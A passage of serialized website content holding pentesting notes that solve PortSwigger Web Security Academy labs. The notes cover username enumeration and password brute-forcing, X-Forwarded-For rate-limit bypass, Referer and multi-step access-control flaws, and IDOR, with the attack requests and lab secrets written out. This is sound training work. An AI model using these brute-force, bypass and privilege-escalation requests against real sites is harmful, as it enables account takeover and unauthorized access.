username enumeration using its response times. To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.\n\nYour credentials: wiener:peter\nCandidate usernames\nCandidate passwords\n",[37,4398,4396],{"__ignoreMap":87},[137,4400,2057],{"id":2056},[15,4402,4403],{},"We need to set up a brute-force based on analyzing server response times. First we extract a username, then the password for it. Username and password wordlists are provided.",[137,4405,1506],{"id":1505},[15,4407,4408],{},"Let's see how the login form is set up. As usual:",[142,4410,4413],{"className":4411,"code":4412,"language":147},[145],"POST \u002Flogin\nusername=xxx&password=123\n",[37,4414,4412],{"__ignoreMap":87},[15,4416,4417],{},"We run a brute-force attack on usernames. We pay attention to how long it takes the server to respond. Set the password to anything, just long — about 100 characters. After a dozen requests the response starts coming back as:",[142,4419,4422],{"className":4420,"code":4421,"language":147},[145],"You have made too many incorrect login attempts. Please try again in 30 minute(s).\n",[37,4423,4421],{"__ignoreMap":87},[15,4425,4426],{},"Oh!",[15,4428,4429,4430,4433],{},"For cases like this we can try using the ",[37,4431,4432],{},"X-Forwarded-For"," header — it tells the backend the IP address of the client that made the request when it went through a proxy. Some IP-based checks look at this header, and by setting it we can bypass the limit above, as if we became a different IP.",[15,4435,4436,4437,4440,4441,212],{},"For this, in Intruder we need to choose attack type ",[26,4438,4439],{},"Pitchfork"," — that allows inserting several variables into the request. At the end of the request, before the body, we add ",[37,4442,4432],{},[142,4444,4447],{"className":4445,"code":4446,"language":147},[145],"X-Forwarded-For: §ip§\n",[37,4448,4446],{"__ignoreMap":87},[15,4450,4451],{},"For the first payload we can set type Number, from 1 to 10000. For the second we drop in our list of users.",[15,4453,4454,4455,4458],{},"After the attack finishes, we add the ",[26,4456,4457],{},"Response received"," column to see the time until the server starts responding. We sort requests by the \"Response received\" column. Among the requests we see one with a response time of 1414, while the others are no more than 457.",[15,4460,4461,4462,4465,4466,4468,4469,4472,4473,4475,4476,4478,4479,4482,4483,524],{},"We can try brute-forcing the password for ",[37,4463,4464],{},"ajax"," — looks like that's our candidate. Payload #1 with ",[37,4467,4432],{}," stays. Payload #2 will now be in the ",[37,4470,4471],{},"password"," field, and we fix the username as ",[37,4474,4464],{},". We look for code ",[37,4477,4144],{}," — a redirect after a successful login. Found — ",[37,4480,4481],{},"summer",", returned ",[37,4484,4144],{},[15,4486,4487,4488,524],{},"Okay, we get ",[37,4489,4490],{},"ajax \u002F summer",[15,4492,3968],{},{"title":87,"searchDepth":88,"depth":88,"links":4494},[4495,4496],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":4497},[4498,4499,4500],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Brute-forcing through Intruder with X-Forwarded-For rate-limit bypass and sorting by response time.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-response-timing",{"title":4373,"description":4501},{"loc":4503},"notes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-response-timing",[264,2951,269],"1h 30m","y43jRXbbJwVC9a3BotHw6HEEUyW9KkJB4B-rL2Bbg6Y",{"id":4511,"title":4512,"author":6,"body":4513,"date":4623,"description":4624,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":4625,"navigation":96,"notes":93,"path":4626,"psTitle":4527,"seo":4627,"sitemap":4628,"stem":4629,"tags":4630,"timeSpent":2463,"type":106,"__hash__":4632},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fmulti-step-process-with-no-access-control-on-one-step.md","Multi-Step Process with No Access Control on One Step (PortSwigger Lab)",{"type":8,"value":4514,"toc":4615},[4515,4519,4521,4528,4530,4532,4538,4540,4546,4548,4551,4554,4560,4563,4569,4576,4590,4594,4600,4604,4610,4613],[11,4516,4518],{"id":4517},"multi-step-process-with-no-access-control-on-one-step","Multi-Step Process with No Access Control on One Step",[19,4520,121],{"id":120},[15,4522,4523,399],{},[125,4524,4527],{"href":4525,"rel":4526},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-multi-step-process-with-no-access-control-on-one-step",[129],"Multi-step process with no access control on one step",[19,4529,135],{"id":134},[137,4531,140],{"id":139},[142,4533,4536],{"className":4534,"code":4535,"language":147},[145],"This lab has an admin panel with a flawed multi-step process for changing a user's role. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin.\n\nTo solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.\n",[37,4537,4535],{"__ignoreMap":87},[137,4539,2057],{"id":2056},[15,4541,4542,4543,4545],{},"There's an admin panel with a vulnerability in the user role change process. We need to see how the admin panel works (we're given creds). And, logging in as ",[37,4544,2998],{},", exploit the vulnerability and escalate to administrator privileges.",[137,4547,1506],{"id":1505},[15,4549,4550],{},"Let's look at the admin panel. There's a user selector, the selected user can be made admin. You can also demote from admin.",[15,4552,4553],{},"We selected a user, clicked make admin:",[142,4555,4558],{"className":4556,"code":4557,"language":147},[145],"POST \u002Fadmin-roles\nusername=carlos&action=upgrade\n",[37,4559,4557],{"__ignoreMap":87},[15,4561,4562],{},"We got HTML in response — a confirmation page for the action. If we click «Confirm»:",[142,4564,4567],{"className":4565,"code":4566,"language":147},[145],"POST \u002Fadmin-roles\naction=upgrade&confirmed=true&username=carlos\n",[37,4568,4566],{"__ignoreMap":87},[15,4570,4571,4572,4575],{},"As we can see, the parameter ",[37,4573,4574],{},"confirmed=true"," is added here. As I see it, this second request is exactly the one that's vulnerable. But let's check both steps.",[15,4577,4578,4579,4581,4582,4585,4586,4589],{},"Log in as ",[37,4580,2998],{}," and try calling ",[37,4583,4584],{},"POST \u002Fadmin-roles"," without the ",[37,4587,4588],{},"confirmed"," parameter, then with it. 2 payload variants:",[335,4591,4592],{},[33,4593],{},[142,4595,4598],{"className":4596,"code":4597,"language":147},[145],"POST \u002Fadmin-roles\naction=upgrade&username=wiener\n",[37,4599,4597],{"__ignoreMap":87},[335,4601,4602],{"start":88},[33,4603],{},[142,4605,4608],{"className":4606,"code":4607,"language":147},[145],"POST \u002Fadmin-roles\naction=upgrade&confirmed=true&username=wiener\n",[37,4609,4607],{"__ignoreMap":87},[15,4611,4612],{},"First payload — «Unauthorized». Second — success.",[15,4614,3968],{},{"title":87,"searchDepth":88,"depth":88,"links":4616},[4617,4618],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":4619},[4620,4621,4622],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"2026-05-16","Skipping the check on the second role-change step — POST \u002Fadmin-roles with confirmed=true promotes wiener to administrator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fmulti-step-process-with-no-access-control-on-one-step",{"title":4512,"description":4624},{"loc":4626},"notes\u002Fpentesting\u002Fportswigger\u002Fmulti-step-process-with-no-access-control-on-one-step",[264,4631,269],"access-control","rshZtf3BR9OBuaDXxH74Qdi0-Kv17psbZSAcGbpzRs4",{"id":4634,"title":4635,"author":6,"body":4636,"date":4623,"description":4712,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":4713,"navigation":96,"notes":93,"path":4714,"psTitle":4650,"seo":4715,"sitemap":4716,"stem":4717,"tags":4718,"timeSpent":2024,"type":106,"__hash__":4719},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Freferer-based-access-control.md","Referer-Based Access Control (PortSwigger Lab)",{"type":8,"value":4637,"toc":4704},[4638,4642,4644,4651,4653,4655,4661,4663,4673,4675,4678,4681,4687,4702],[11,4639,4641],{"id":4640},"referer-based-access-control","Referer-Based Access Control",[19,4643,121],{"id":120},[15,4645,4646,399],{},[125,4647,4650],{"href":4648,"rel":4649},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-referer-based-access-control",[129],"Referer-based access control",[19,4652,135],{"id":134},[137,4654,140],{"id":139},[142,4656,4659],{"className":4657,"code":4658,"language":147},[145],"This lab controls access to certain admin functionality based on the Referer header. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin.\n\nTo solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.\n",[37,4660,4658],{"__ignoreMap":87},[137,4662,2057],{"id":2056},[15,4664,4665,4666,4669,4670,4672],{},"There's an admin panel with a privilege escalation function that uses the ",[37,4667,4668],{},"Referer"," header as data for access control. We're given creds to log into the admin panel, let's study how the privilege escalation function works. To solve, we need to escalate user ",[37,4671,2998],{}," to administrator privileges.",[137,4674,1506],{"id":1505},[15,4676,4677],{},"Let's go look at the admin panel. A familiar privilege escalation form.",[15,4679,4680],{},"After clicking the privilege escalation button — the request:",[142,4682,4685],{"className":4683,"code":4684,"language":147},[145],"GET \u002Fadmin-roles?username=carlos&action=upgrade\nReferer: https:\u002F\u002F0a2b00b703d010d680d8fd69008300f7.web-security-academy.net\u002Fadmin\n",[37,4686,4684],{"__ignoreMap":87},[15,4688,4689,4690,4692,4693,4695,4696,4244,4699,4701],{},"Okay, now log in as ",[37,4691,2998],{}," and try to execute this request, just replacing the session with ",[37,4694,2998],{},"'s. Request ",[37,4697,4698],{},"GET \u002Fadmin-roles?username=wiener&action=upgrade",[37,4700,4668],{}," we take as in the admin's request.",[15,4703,3968],{},{"title":87,"searchDepth":88,"depth":88,"links":4705},[4706,4707],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":4708},[4709,4710,4711],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Promoting wiener to administrator via GET \u002Fadmin-roles with a spoofed Referer header.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Freferer-based-access-control",{"title":4635,"description":4712},{"loc":4714},"notes\u002Fpentesting\u002Fportswigger\u002Freferer-based-access-control",[264,4631,269],"0TC2TOKkxImvKzelhUNGVDo6xLkjmdGWCbalyshV-Kc",{"id":4721,"title":4722,"author":6,"body":4723,"date":4623,"description":4814,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":4815,"navigation":96,"notes":93,"path":4816,"psTitle":4737,"seo":4817,"sitemap":4818,"stem":4819,"tags":4820,"timeSpent":379,"type":106,"__hash__":4821},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-different-responses.md","Username Enumeration via Different Responses (PortSwigger Lab)",{"type":8,"value":4724,"toc":4806},[4725,4729,4731,4738,4740,4742,4748,4750,4753,4755,4758,4764,4777,4780,4786,4792,4798,4804],[11,4726,4728],{"id":4727},"username-enumeration-via-different-responses","Username Enumeration via Different Responses",[19,4730,121],{"id":120},[15,4732,4733,399],{},[125,4734,4737],{"href":4735,"rel":4736},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-username-enumeration-via-different-responses",[129],"Username enumeration via different responses",[19,4739,135],{"id":134},[137,4741,140],{"id":139},[142,4743,4746],{"className":4744,"code":4745,"language":147},[145],"This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:\n\nCandidate usernames\nCandidate passwords\n\nTo solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.\n",[37,4747,4745],{"__ignoreMap":87},[137,4749,2057],{"id":2056},[15,4751,4752],{},"We're given wordlists of names and passwords. We need to set up a brute-force attack. First guess the name, then the password. To solve the lab we need to log into the victim's account.",[137,4754,1506],{"id":1505},[15,4756,4757],{},"Login goes through:",[142,4759,4762],{"className":4760,"code":4761,"language":147},[145],"POST \u002Flogin\nusername=VARIABLE&password=123\n",[37,4763,4761],{"__ignoreMap":87},[15,4765,4766,4767,4769,4770,4773,4774,524],{},"We've been given a list of names to enumerate. Copy it and create an Intruder attack. Make ",[37,4768,2916],{}," a variable — 101 names to test. The server always responds with ",[37,4771,4772],{},"200",", so we filter by response length. Here's our candidate — ",[37,4775,4776],{},"asterix",[15,4778,4779],{},"Second step — guess the password:",[142,4781,4784],{"className":4782,"code":4783,"language":147},[145],"username=asterix&password=VARIABLE\n",[37,4785,4783],{"__ignoreMap":87},[15,4787,4788,4789,4791],{},"Same way, take the list — 100 passwords. Launch, here we can rely on the ",[37,4790,4144],{}," redirect:",[142,4793,4796],{"className":4794,"code":4795,"language":147},[145],"HTTP\u002F2 302 Found\nLocation: \u002Fmy-account?id=asterix\n",[37,4797,4795],{"__ignoreMap":87},[15,4799,4800,4801,524],{},"That means the password worked. Password found — ",[37,4802,4803],{},"computer",[15,4805,3968],{},{"title":87,"searchDepth":88,"depth":88,"links":4807},[4808,4809],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":4810},[4811,4812,4813],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Brute-forcing usernames and passwords in Burp Intruder: filter by response length, then by 302 redirect.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-different-responses",{"title":4722,"description":4814},{"loc":4816},"notes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-different-responses",[264,2951,269],"2iZqE5lpi3GVPBFEgS25H-SYJOa5ezaWHL48yuP8wag",{"id":4823,"title":4824,"author":6,"body":4825,"date":4623,"description":4906,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":4907,"navigation":96,"notes":93,"path":4908,"psTitle":4839,"seo":4909,"sitemap":4910,"stem":4911,"tags":4912,"timeSpent":270,"type":106,"__hash__":4913},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-subtly-different-responses.md","Username Enumeration via Subtly Different Responses (PortSwigger Lab)",{"type":8,"value":4826,"toc":4898},[4827,4831,4833,4840,4842,4844,4850,4852,4855,4857,4860,4865,4872,4878,4896],[11,4828,4830],{"id":4829},"username-enumeration-via-subtly-different-responses","Username Enumeration via Subtly Different Responses",[19,4832,121],{"id":120},[15,4834,4835,399],{},[125,4836,4839],{"href":4837,"rel":4838},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-username-enumeration-via-subtly-different-responses",[129],"Username enumeration via subtly different responses",[19,4841,135],{"id":134},[137,4843,140],{"id":139},[142,4845,4848],{"className":4846,"code":4847,"language":147},[145],"This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:\n\nCandidate usernames\nCandidate passwords\n\nTo solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.\n",[37,4849,4847],{"__ignoreMap":87},[137,4851,2057],{"id":2056},[15,4853,4854],{},"We need to set up a brute-force attack using the username and password wordlists.",[137,4856,1506],{"id":1505},[15,4858,4859],{},"Let's see how login is organized and how we can set up a brute-force:",[142,4861,4863],{"className":4862,"code":4412,"language":147},[145],[37,4864,4412],{"__ignoreMap":87},[15,4866,4867,4868,4871],{},"Okay, throw it into Intruder. Toss in the username list from the lab. The requests split by response size: 3443 and up — about 5–6 groups. ",[37,4869,4870],{},"oracle"," catches my eye — size 3443, let's test it first. Though for convenience I'll write out 1 login from each group:",[142,4873,4876],{"className":4874,"code":4875,"language":147},[145],"oracle  - 3443\naf      - 3444\nadmin   - 3445\nad      - 3446\nauto    - 3447\nroot    - 3460\ntest    - 3461\nguest   - 3462\ninfo    - 3463\nas      - 3462\najax    - 3463\nau      - 3464\n",[37,4877,4875],{"__ignoreMap":87},[15,4879,4880,4881,4883,4884,4886,4887,4889,4890,4893,4894,524],{},"We expect a ",[37,4882,4144],{}," code. Checked passwords for ",[37,4885,4870],{}," — all ",[37,4888,4772],{},". Checking ",[37,4891,4892],{},"af"," — success. Password — ",[37,4895,4892],{},[15,4897,3968],{},{"title":87,"searchDepth":88,"depth":88,"links":4899},[4900,4901],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":4902},[4903,4904,4905],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Grouping Intruder responses by length to spot an anomaly, then brute-forcing the password for the found login.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-subtly-different-responses",{"title":4824,"description":4906},{"loc":4908},"notes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-subtly-different-responses",[264,2951,269],"Drg9NwTnC65xHMncrgytuLUnbO0Xn9_d8C-xPD9HX6g",{"id":4915,"title":4916,"author":6,"body":4917,"date":5020,"description":5021,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":5022,"navigation":96,"notes":93,"path":5023,"psTitle":4931,"seo":5024,"sitemap":5025,"stem":5026,"tags":5027,"timeSpent":2024,"type":106,"__hash__":5029},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Finsecure-direct-object-references.md","Insecure Direct Object References — IDOR (PortSwigger Lab)",{"type":8,"value":4918,"toc":5012},[4919,4923,4925,4932,4934,4936,4942,4944,4950,4952,4955,4958,4964,4970,4976,4979,4982,4988,4997,5003,5009],[11,4920,4922],{"id":4921},"insecure-direct-object-references-idor","Insecure Direct Object References — IDOR",[19,4924,121],{"id":120},[15,4926,4927,399],{},[125,4928,4931],{"href":4929,"rel":4930},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-insecure-direct-object-references",[129],"Insecure direct object references",[19,4933,135],{"id":134},[137,4935,140],{"id":139},[142,4937,4940],{"className":4938,"code":4939,"language":147},[145],"This lab stores user chat logs directly on the server's file system, and retrieves them using static URLs.\n\nSolve the lab by finding the password for the user `carlos`, and logging into their account.\n",[37,4941,4939],{"__ignoreMap":87},[137,4943,2057],{"id":2056},[15,4945,4946,4947,4949],{},"The chat history is stored on the server's file system and accessible via static URLs. We need to find the password for user ",[37,4948,2505],{},", apparently by finding it in the user's transcripts.",[137,4951,1506],{"id":1505},[15,4953,4954],{},"Open the site, see Live Chat. Open it, write a couple of messages. Oh, there's a View transcript button, click it — downloads a TXT file.",[15,4956,4957],{},"Okay, let's see what happened in Burp. On clicking View transcript:",[142,4959,4962],{"className":4960,"code":4961,"language":147},[145],"POST \u002Fdownload-transcript\n",[37,4963,4961],{"__ignoreMap":87},[15,4965,4966,4967,212],{},"Returns ",[37,4968,4969],{},"HTTP\u002F2 302 Found",[142,4971,4974],{"className":4972,"code":4973,"language":147},[145],"Location: \u002Fdownload-transcript\u002F2.txt\n",[37,4975,4973],{"__ignoreMap":87},[15,4977,4978],{},"So it's a redirect to download the file.",[15,4980,4981],{},"Okay, let's try guessing other transcripts:",[142,4983,4986],{"className":4984,"code":4985,"language":147},[145],"Location: \u002Fdownload-transcript\u002F3.txt\nLocation: \u002Fdownload-transcript\u002F4.txt\nLocation: \u002Fdownload-transcript\u002F5.txt\n",[37,4987,4985],{"__ignoreMap":87},[15,4989,4990,4993,4994,524],{},[37,4991,4992],{},"No transcript",". Didn't work right away. Throw it into Intruder, params from 0 to 100 to start. Ha, found just one — ",[37,4995,4996],{},"1",[142,4998,5001],{"className":4999,"code":5000,"language":147},[145],"GET \u002Fdownload-transcript\u002F1.txt\n",[37,5002,5000],{"__ignoreMap":87},[142,5004,5007],{"className":5005,"code":5006,"language":147},[145],"You: Ok so my password is v6skv9vlon85s20dcidq. Is that right?\n",[37,5008,5006],{"__ignoreMap":87},[15,5010,5011],{},"Password obtained. Log in to the site. Lab solved.",{"title":87,"searchDepth":88,"depth":88,"links":5013},[5014,5015],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":5016},[5017,5018,5019],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"2026-05-15","Brute-forcing static chat-log URLs at \u002Fdownload-transcript\u002FN.txt and finding carlos password in the transcript.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Finsecure-direct-object-references",{"title":4916,"description":5021},{"loc":5023},"notes\u002Fpentesting\u002Fportswigger\u002Finsecure-direct-object-references",[264,4631,5028,269],"idor","JisOPqi49_49MrKXXm1u8swEBt5QRDWT0eX3G3AgBLI",{"id":5031,"title":5032,"author":6,"body":5033,"date":5020,"description":5118,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":5119,"navigation":96,"notes":93,"path":5120,"psTitle":5047,"seo":5121,"sitemap":5122,"stem":5123,"tags":5124,"timeSpent":459,"type":106,"__hash__":5125},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-data-leakage-in-redirect.md","User ID Controlled by Request Parameter with Data Leakage in Redirect (PortSwigger Lab)",{"type":8,"value":5034,"toc":5110},[5035,5039,5041,5048,5050,5052,5058,5060,5063,5065,5068,5074,5077,5086,5105,5107],[11,5036,5038],{"id":5037},"user-id-controlled-by-request-parameter-with-data-leakage-in-redirect","User ID Controlled by Request Parameter with Data Leakage in Redirect",[19,5040,121],{"id":120},[15,5042,5043,399],{},[125,5044,5047],{"href":5045,"rel":5046},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect",[129],"User ID controlled by request parameter with data leakage in redirect",[19,5049,135],{"id":134},[137,5051,140],{"id":139},[142,5053,5056],{"className":5054,"code":5055,"language":147},[145],"This lab contains an access control vulnerability where sensitive information is leaked in the body of a redirect response.\n\nTo solve the lab, obtain the API key for the user carlos and submit it as the solution.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,5057,5055],{"__ignoreMap":87},[137,5059,2057],{"id":2056},[15,5061,5062],{},"The lab is very similar to the previous one, except that we need to find the leak in the body of the redirect to the login page.",[137,5064,1506],{"id":1505},[15,5066,5067],{},"Log in as our user. The request:",[142,5069,5072],{"className":5070,"code":5071,"language":147},[145],"GET \u002Fmy-account?id=wiener\n",[37,5073,5071],{"__ignoreMap":87},[15,5075,5076],{},"The response has the API key.",[15,5078,5079,5080,5082,5083,5085],{},"Okay, send a request for user ",[37,5081,2505],{},". The server returns ",[37,5084,4144],{},", but the entire HTML response is present in the body:",[142,5087,5089],{"className":3020,"code":5088,"language":3022,"meta":87,"style":87},"\u003Cdiv>Your API Key is: ltYmzXseKRiFaVJ49joHRJQVKGVmdfbq\u003C\u002Fdiv>\n",[37,5090,5091],{"__ignoreMap":87},[313,5092,5093,5095,5098,5101,5103],{"class":315,"line":316},[313,5094,749],{"class":748},[313,5096,5097],{"class":752},"div",[313,5099,5100],{"class":748},">Your API Key is: ltYmzXseKRiFaVJ49joHRJQVKGVmdfbq\u003C\u002F",[313,5102,5097],{"class":752},[313,5104,756],{"class":748},[15,5106,3968],{},[361,5108,5109],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":5111},[5112,5113],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":5114},[5115,5116,5117],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"API key of user carlos leaks in the body of a 302 redirect to the login page.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-data-leakage-in-redirect",{"title":5032,"description":5118},{"loc":5120},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-data-leakage-in-redirect",[264,4631,269],"KQBiPI0ebksr-m5hLJ4nnqW1A_lcFcP58BgDKGLtEjk",{"id":5127,"title":5128,"author":6,"body":5129,"date":5020,"description":5242,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":5243,"navigation":96,"notes":93,"path":5244,"psTitle":5143,"seo":5245,"sitemap":5246,"stem":5247,"tags":5248,"timeSpent":459,"type":106,"__hash__":5249},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-password-disclosure.md","User ID Controlled by Request Parameter with Password Disclosure (PortSwigger Lab)",{"type":8,"value":5130,"toc":5234},[5131,5135,5137,5144,5146,5148,5154,5156,5161,5163,5166,5171,5174,5177,5183,5223,5232],[11,5132,5134],{"id":5133},"user-id-controlled-by-request-parameter-with-password-disclosure","User ID Controlled by Request Parameter with Password Disclosure",[19,5136,121],{"id":120},[15,5138,5139,399],{},[125,5140,5143],{"href":5141,"rel":5142},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-id-controlled-by-request-parameter-with-password-disclosure",[129],"User ID controlled by request parameter with password disclosure",[19,5145,135],{"id":134},[137,5147,140],{"id":139},[142,5149,5152],{"className":5150,"code":5151,"language":147},[145],"This lab has user account page that contains the current user's existing password, prefilled in a masked input.\n\nTo solve the lab, retrieve the administrator's password, then use it to delete the user carlos.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,5153,5151],{"__ignoreMap":87},[137,5155,2057],{"id":2056},[15,5157,5158,5159,524],{},"The site has a page that displays the user's password. We need to find the administrator and get their password. Then delete user ",[37,5160,2505],{},[137,5162,1506],{"id":1505},[15,5164,5165],{},"Log in to the site:",[142,5167,5169],{"className":5168,"code":5071,"language":147},[145],[37,5170,5071],{"__ignoreMap":87},[15,5172,5173],{},"Yes, the password is in the response.",[15,5175,5176],{},"For the administrator:",[142,5178,5181],{"className":5179,"code":5180,"language":147},[145],"GET \u002Fmy-account?id=administrator\n",[37,5182,5180],{"__ignoreMap":87},[142,5184,5186],{"className":3020,"code":5185,"language":3022,"meta":87,"style":87},"\u003Cinput required type=password name=password value='5b8q4c801sij55bvvtfx'\u002F>\n",[37,5187,5188],{"__ignoreMap":87},[313,5189,5190,5192,5195,5198,5201,5203,5205,5208,5210,5212,5215,5217,5220],{"class":315,"line":316},[313,5191,749],{"class":748},[313,5193,5194],{"class":752},"input",[313,5196,5197],{"class":795}," required",[313,5199,5200],{"class":795}," type",[313,5202,3037],{"class":748},[313,5204,4471],{"class":771},[313,5206,5207],{"class":795}," name",[313,5209,3037],{"class":748},[313,5211,4471],{"class":771},[313,5213,5214],{"class":795}," value",[313,5216,3037],{"class":748},[313,5218,5219],{"class":771},"'5b8q4c801sij55bvvtfx'",[313,5221,5222],{"class":748},"\u002F>\n",[15,5224,4578,5225,5227,5228,5231],{},[37,5226,4334],{}," \u002F ",[37,5229,5230],{},"5b8q4c801sij55bvvtfx",". Delete the user. Lab solved.",[361,5233,4155],{},{"title":87,"searchDepth":88,"depth":88,"links":5235},[5236,5237],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":5238},[5239,5240,5241],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Getting the administrator password via GET \u002Fmy-account?id=administrator and deleting user carlos.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-password-disclosure",{"title":5128,"description":5242},{"loc":5244},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-password-disclosure",[264,4631,269],"nlMlnfmvvRHnNqfMCCEXsShGEzJ_DOVydBkyTo52jeQ",{"id":5251,"title":5252,"author":6,"body":5253,"date":5020,"description":5345,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":5346,"navigation":96,"notes":93,"path":5347,"psTitle":5267,"seo":5348,"sitemap":5349,"stem":5350,"tags":5351,"timeSpent":459,"type":106,"__hash__":5352},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-unpredictable-user-ids.md","User ID Controlled by Request Parameter, with Unpredictable User IDs (PortSwigger Lab)",{"type":8,"value":5254,"toc":5337},[5255,5259,5261,5268,5270,5272,5278,5280,5283,5285,5288,5294,5300,5306,5312,5315,5333,5335],[11,5256,5258],{"id":5257},"user-id-controlled-by-request-parameter-with-unpredictable-user-ids","User ID Controlled by Request Parameter, with Unpredictable User IDs",[19,5260,121],{"id":120},[15,5262,5263,399],{},[125,5264,5267],{"href":5265,"rel":5266},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids",[129],"User ID controlled by request parameter, with unpredictable user IDs",[19,5269,135],{"id":134},[137,5271,140],{"id":139},[142,5273,5276],{"className":5274,"code":5275,"language":147},[145],"This lab has a horizontal privilege escalation vulnerability on the user account page, but identifies users with GUIDs.\n\nTo solve the lab, find the GUID for carlos, then submit his API key as the solution.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,5277,5275],{"__ignoreMap":87},[137,5279,2057],{"id":2056},[15,5281,5282],{},"The lab is very similar to the previous one, except that we need to find the GUID of the target user on the 